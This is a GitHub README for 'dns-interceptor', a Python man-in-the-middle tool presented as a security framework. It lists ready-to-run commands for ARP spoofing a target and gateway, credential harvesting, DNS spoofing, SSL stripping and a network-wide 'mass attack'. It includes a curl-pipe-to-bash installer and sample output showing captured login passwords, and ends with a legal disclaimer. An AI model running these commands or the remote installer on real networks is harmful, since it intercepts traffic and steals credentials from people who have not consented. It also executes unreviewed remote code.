Skip to content

reza-ygb/dns-interceptor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

DNS Interceptor

πŸ”₯ Professional Network Security Analysis Tool - Advanced MITM Framework for Cybersecurity Professionals

Version Python License

⚑ Features

  • 🎯 ARP Spoofing & Network Discovery
  • πŸ‘οΈ Advanced Packet Interception
  • πŸ”“ SSL/TLS Traffic Analysis
  • πŸ’€ Credential Harvesting
  • 🌐 DNS Monitoring & Spoofing
  • πŸ’Ύ PCAP Export for Wireshark/Zeek
  • πŸ“Š Memory Cache System
  • πŸ“„ Professional HTML Reporting

πŸš€ Quick Install (One-Line)

curl -fsSL https://github.com/reza-ygb/dns-interceptor/releases/download/v2.0.1/install.sh | bash

πŸ“¦ Manual Installation

# Clone repository
git clone https://github.com/reza-ygb/dns-interceptor.git
cd dns-interceptor

# Install dependencies
pip3 install -r requirements.txt

# Make executable
chmod +x dns_interceptor.py

🎯 Usage Examples

Network Discovery (Safe Mode)

sudo python3 dns_interceptor.py -i eth0 --discovery-only

Passive Traffic Analysis

sudo python3 dns_interceptor.py -i eth0 --intercept-only --save-pcap capture.pcap

Single Target Attack

sudo python3 dns_interceptor.py -i eth0 -t 192.168.1.100 -g 192.168.1.1 --attack

Ultimate Mode (ARP + Interception)

sudo python3 dns_interceptor.py -i eth0 -t 192.168.1.100 -g 192.168.1.1 --ultimate-mode

Credential Harvesting

sudo python3 dns_interceptor.py -i eth0 --credential-harvest --export-cache

Mass Network Attack (⚠️ DANGEROUS)

sudo python3 dns_interceptor.py -i eth0 --mass-attack

πŸ› οΈ Command Line Options

Required:
  -i, --interface       Network interface (eth0, wlan0, etc.)

Target Specification:
  -t, --target-ip       Target IP address
  -g, --gateway-ip      Gateway/Router IP address

Operation Modes:
  --discovery-only      πŸ” Safe network discovery
  --intercept-only      πŸ‘οΈ  Passive packet analysis
  --attack             ⚠️  Single target ARP attack
  --ultimate-mode      πŸ’€ ARP attack + packet interception
  --credential-harvest  πŸ”“ Aggressive credential hunting
  --mass-attack        πŸ’₯ Network-wide attack (DANGEROUS)

Output Options:
  --save-pcap FILE     πŸ’Ύ Save packets to PCAP file
  --export-cache       πŸ“Š Export session data (JSON/CSV/TXT)
  --generate-report    πŸ“„ Generate HTML report

πŸ”§ Requirements

  • Python 3.8+
  • Root privileges (for raw socket access)
  • Linux/macOS (recommended)

πŸ“‹ Dependencies

pip3 install scapy

🎨 Output Formats

PCAP Export

  • Compatible with Wireshark, Zeek, TCPdump
  • Full packet capture for forensic analysis

Cache Export

  • JSON: Structured data for APIs
  • CSV: Spreadsheet-compatible format
  • TXT: Human-readable summaries

Memory Cache Features

  • Real-time packet analysis
  • DNS query tracking
  • Credential detection
  • Host discovery
  • Session statistics

⚠️ Legal Disclaimer

This tool is for authorized security testing and educational purposes only.

  • βœ… Authorized penetration testing
  • βœ… Security research on own networks
  • βœ… Educational cybersecurity training
  • ❌ Unauthorized network attacks
  • ❌ Malicious activities

Users are responsible for compliance with applicable laws and regulations.

πŸ”’ Ethical Usage

  • Always obtain written authorization before testing
  • Use only on networks you own or have permission to test
  • Follow responsible disclosure for vulnerabilities
  • Respect privacy and data protection laws

πŸ“Š Example Output

πŸ”₯ DNS Interceptor v2.0.0 - Professional Network Security Tool πŸ”₯
⚑ Advanced MITM Framework for Cybersecurity Professionals
🎯 ARP Spoofing | Packet Analysis | Credential Harvesting
πŸ’€ SSL Strip | DNS Spoofing | PCAP Export | Memory Cache

🌐 [INTERFACE] Using: eth0
πŸ–₯️  [LOCAL-IP] Your IP: 192.168.1.50

πŸ‘οΈ  [INTERCEPT] Advanced packet analysis with caching...
πŸ” [HUNTING] Credentials, tokens, cookies, files...
πŸ’Ύ [PCAP] Saving packets to: capture.pcap
πŸš€ [LIVE] Advanced packet interception active...

🌐 [22:41:30] DNS: 192.168.1.100 β†’ google.com
πŸ”’ [22:41:31] SSL HANDSHAKE: 192.168.1.100 β†’ 142.250.191.14
πŸ”“ [22:41:32] *** CREDENTIAL CAPTURED! ***
    🎯 Source: 192.168.1.100:54321
    🎯 Target: 10.0.0.5:80
    πŸ”‘ Pattern: PASSWORD=
    πŸ“„ Data: POST /login HTTP/1.1...

πŸ“Š [STATS] Packets: 1250 | Passwords: 3 | DNS: 95 | Tokens: 12

🀝 Contributing

  1. Fork the repository
  2. Create feature branch (git checkout -b feature/amazing-feature)
  3. Commit changes (git commit -m 'Add amazing feature')
  4. Push to branch (git push origin feature/amazing-feature)
  5. Open Pull Request

πŸ“ License

This project is licensed under the MIT License - see the LICENSE file for details.

πŸŽ“ Educational Resources

πŸ”— Related Projects

πŸ“ž Support

⭐ Star this repository if you find it useful for your cybersecurity work!

About

DNS Interceptor: Professional Network Security & MITM Framework (ARP, DNS, PCAP, Cache)

Topics

Resources

License

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors